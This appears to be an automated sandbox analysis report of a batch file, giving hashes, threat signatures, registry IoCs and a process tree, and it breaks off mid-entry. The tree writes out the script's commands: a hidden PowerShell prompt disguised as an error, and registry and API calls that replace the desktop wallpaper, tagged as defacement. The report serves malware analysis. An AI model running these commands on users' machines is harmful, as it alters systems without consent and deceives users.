16117fb2b7e3bad188a8f24d0ff09a2e1ae194d98f555a890b16b692d458de90

Analysis

user interaction
yes
max time kernel
898s
max time network
890s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/09/2026, 04:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tyviurs.bat
Size 6KB
Sample260924-e1sxjadh95
SHA256 16117fb2b7e3bad188a8f24d0ff09a2e1ae194d98f555a890b16b692d458de90
MD5 85ae7c1791669779a4d42cbbae471a4d
SHA1 1fc1bc6b864ce6f4f7fc67e465f2d2dd126379d4
SHA512 c12bd4960c1f9b4396cbb64c0d2248f1417dccc8ac4f99dc0c53d7c291c993321d2390eea1f78533697459e20e1acda922e78e89104f5b6da2dedff10b59a5da
SSDEEP 96:psSV3q4QIV6gEUW4QIVeCTUIpEkapH5c3QrQIV6TUdREBEZmE5tht1hC4z/vMthH:FqLrUPUdNpxIU4KZ9LzKh8DlGuP9kv
TLSH
T142E1E8659325E61E856380178C8772DBFD152731A148BC0837BECA02FD4779BC3B6398
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3548	powershell.exe
5736	powershell.exe
1876	powershell.exe
4836	powershell.exe
568	powershell.exe
4980	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
4988	msedge.exe
4988	msedge.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\taylor.jpg"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\taylor.jpg"	reg.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1146767301\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1103577646\domain_actions.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Mu\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Mu\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_182907790\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_182907790\well_known_domains.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_717547734\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_720753408\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1720838042\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Mu\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Sigma\Cryptomining	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_852945856\travel-facilitated-booking-bing.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1668298779\v1FieldTypes.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Mu\Other	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1462574557\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_88027958\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_717547734\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_88027958\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_88027958\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_852945856\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1668298779\autofill_bypass_cache_forms.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1668298779\edge_autofill_global_block_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Sigma\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_895283245\kp_pinslist.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1668298779\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1720838042\safety_tips.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_682715738\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_682715738\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Mu\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_720753408\crl-set	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1462574557\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1462574557\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_852945856\automation.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1967594635\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1967594635\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Sigma\Analytics	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_208332880\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1146767301\deny_full_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_665758393\arbitration_metadata.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Mu\CompatExceptions	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Mu\Entities	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Mu\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Sigma\Entities	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Sigma\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_852945856\extraction.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_109883082\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Mu\Cryptomining	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Sigma\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_895283245\crs.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_895283245\ct_config.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1967594635\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_665758393\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1720838042\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_109883082\data.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Mu\Social	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Mu\TransparentAdvertisers	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1314015594\Sigma\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1917579872\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1462574557\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_852945856\classification.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1103577646\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_895283245\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4988_1917579872\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4772	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5620	msedge.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4284	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134346975510008845"	msedge.exe

Modifies registry class 9 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4280978039-528710165-233981602-1000\{BF14953F-8F4F-4699-A2CD-019B0DDDD734}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4280978039-528710165-233981602-1000\{C19F8216-94EB-4ABD-A0CF-E555EFB3DBE4}	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4980	powershell.exe
4980	powershell.exe
5736	powershell.exe
5736	powershell.exe
568	powershell.exe
568	powershell.exe
4836	powershell.exe
4836	powershell.exe
1876	powershell.exe
1876	powershell.exe
568	powershell.exe
4836	powershell.exe
3548	powershell.exe
3548	powershell.exe
1876	powershell.exe
3548	powershell.exe
4836	msedge.exe
4836	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4988	msedge.exe
4988	msedge.exe
4988	msedge.exe
4988	msedge.exe
4988	msedge.exe
4988	msedge.exe
4988	msedge.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4980	powershell.exe
Token: SeDebugPrivilege	5736	powershell.exe
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeDebugPrivilege	3548	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4988	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4772 wrote to memory of 4980	4772	cmd.exe	90
PID 4772 wrote to memory of 4284	4772	cmd.exe	91
PID 4772 wrote to memory of 5736	4772	cmd.exe	92
PID 5736 wrote to memory of 4696	5736	powershell.exe	93
PID 4696 wrote to memory of 5488	4696	csc.exe	94
PID 4772 wrote to memory of 5720	4772	cmd.exe	95
PID 4772 wrote to memory of 2712	4772	cmd.exe	96
PID 4772 wrote to memory of 5588	4772	cmd.exe	97
PID 4772 wrote to memory of 4988	4772	cmd.exe	98
PID 4988 wrote to memory of 292	4988	msedge.exe	99
PID 4988 wrote to memory of 5620	4988	msedge.exe	100
PID 4988 wrote to memory of 6116	4988	msedge.exe	101
PID 4988 wrote to memory of 6116	4988	msedge.exe	101
PID 4988 wrote to memory of 6116	4988	msedge.exe	101
PID 4988 wrote to memory of 5112	4988	msedge.exe	103
PID 4988 wrote to memory of 5112	4988	msedge.exe	103
PID 4988 wrote to memory of 5264	4988	msedge.exe	105
PID 4988 wrote to memory of 5264	4988	msedge.exe	105
PID 4988 wrote to memory of 5264	4988	msedge.exe	105
PID 4988 wrote to memory of 4652	4988	msedge.exe	106
PID 4988 wrote to memory of 4652	4988	msedge.exe	106
PID 4988 wrote to memory of 4652	4988	msedge.exe	106
PID 4772 wrote to memory of 3548	4772	cmd.exe	104
PID 4988 wrote to memory of 2868	4988	msedge.exe	107
PID 4988 wrote to memory of 2868	4988	msedge.exe	107
PID 4988 wrote to memory of 2868	4988	msedge.exe	107
PID 4988 wrote to memory of 3452	4988	msedge.exe	108
PID 4988 wrote to memory of 3452	4988	msedge.exe	108
PID 4988 wrote to memory of 3452	4988	msedge.exe	108
PID 4772 wrote to memory of 568	4772	cmd.exe	110
PID 4772 wrote to memory of 4836	4772	cmd.exe	111
PID 4772 wrote to memory of 1876	4772	cmd.exe	112
PID 4772 wrote to memory of 2876	4772	cmd.exe	124
PID 4988 wrote to memory of 4624	4988	msedge.exe	119
PID 4988 wrote to memory of 4624	4988	msedge.exe	119
PID 4988 wrote to memory of 1216	4988	msedge.exe	120
PID 4988 wrote to memory of 1216	4988	msedge.exe	120
PID 4988 wrote to memory of 1216	4988	msedge.exe	120
PID 3548 wrote to memory of 4932	3548	powershell.exe	121
PID 4988 wrote to memory of 1076	4988	msedge.exe	123
PID 4988 wrote to memory of 2876	4988	msedge.exe	124
PID 4988 wrote to memory of 3552	4988	msedge.exe	125
PID 4988 wrote to memory of 2876	4988	msedge.exe	124
PID 4988 wrote to memory of 2876	4988	msedge.exe	124
PID 4988 wrote to memory of 3352	4988	msedge.exe	126
PID 4988 wrote to memory of 3352	4988	msedge.exe	126
PID 4988 wrote to memory of 3984	4988	msedge.exe	127
PID 4988 wrote to memory of 1160	4988	msedge.exe	128
PID 4988 wrote to memory of 3984	4988	msedge.exe	127
PID 4988 wrote to memory of 1160	4988	msedge.exe	128
PID 4988 wrote to memory of 2672	4988	msedge.exe	129
PID 4988 wrote to memory of 2672	4988	msedge.exe	129
PID 4988 wrote to memory of 3716	4988	msedge.exe	132
PID 4988 wrote to memory of 3716	4988	msedge.exe	132
PID 4988 wrote to memory of 1788	4988	msedge.exe	133
PID 4988 wrote to memory of 1248	4988	msedge.exe	134
PID 4988 wrote to memory of 4176	4988	msedge.exe	135
PID 4988 wrote to memory of 4372	4988	msedge.exe	136
PID 4988 wrote to memory of 4372	4988	msedge.exe	136
PID 4988 wrote to memory of 4652	4988	msedge.exe	140
PID 4988 wrote to memory of 4652	4988	msedge.exe	140
PID 4988 wrote to memory of 4104	4988	msedge.exe	141
PID 4988 wrote to memory of 4104	4988	msedge.exe	141
PID 4988 wrote to memory of 5432	4988	msedge.exe	142

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tyviurs.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName PresentationFramework; if([System.Windows.MessageBox]::Show('Do you want to run?','Error 404','OKCancel','Warning') -ne 'OK'){exit}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4980
- C:\Windows\system32\timeout.exe
  timeout /t 10 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Add-Type -TypeDefinition 'using System;using System.Runtime.InteropServices;public class W{[DllImport(\"user32.dll\",CharSet=CharSet.Auto)]public static extern int SystemParametersInfo(int u,int s,string p,int f);}'; [W]::SystemParametersInfo(20, 0, 'C:\Users\Admin\AppData\Local\Temp\taylor.jpg', 3)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Sets desktop wallpaper using registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5736
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rmlp32r1\rmlp32r1.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4696
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1DDF.tmp" "c:\Users\Admin\AppData\Local\Temp\rmlp32r1\CSC1AA3DBF56EF040B981AF712A82DAADD2.TMP"
      4⤵
      PID:5488
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\taylor.jpg" /f
  2⤵
  - Sets desktop wallpaper using registry
  PID:5720
- C:\Windows\system32\reg.exe
  reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
  2⤵
  PID:2712
- C:\Windows\system32\rundll32.exe
  RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True
  2⤵
  PID:5588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/watch?v=QcIy9NiBbmo
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x394,0x7ffd9e1ac188,0x7ffd9e1ac194,0x7ffd9e1ac1a0
    3⤵
    PID:292
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1656,i,13032488865990100044,3150641593424966528,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=2280 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1524,i,8280414775556760084,2524331854535357528,262144 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:2
    3⤵
    PID:6116
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2192,i,12651973590134319502,11625261194845545137,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=2624 /prefetch:13
    3⤵
    PID:5112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3596,i,7373926051562203467,7485741051948509636,2097152 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
    3⤵
    PID:5264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3600,i,15966393378134500485,2846448010277269894,2097152 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
    3⤵
    PID:4652
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4308,i,15241020117622439824,2273546105175166152,2097152 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:1
    3⤵
    PID:2868
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4320,i,8155258536882887507,16574296431071059778,2097152 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:9
    3⤵
    PID:3452
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5236,i,3411424078418419143,6580822118121233208,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:14
    3⤵
    PID:4624
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5388,i,2492644361571688806,7398887846771011432,2097152 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:1
    3⤵
    PID:1216
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,8951211775709370538,699683442047353925,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:14
    3⤵
    PID:4572
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,8951211775709370538,699683442047353925,524288 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:14
    3⤵
    PID:1076
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=4508,i,5307051114129800256,3611829523136701690,2097152 --field-trial-handle=2252,i,13182992075139628249,16239472918120013986,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:1
    3⤵
    PID:2876
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
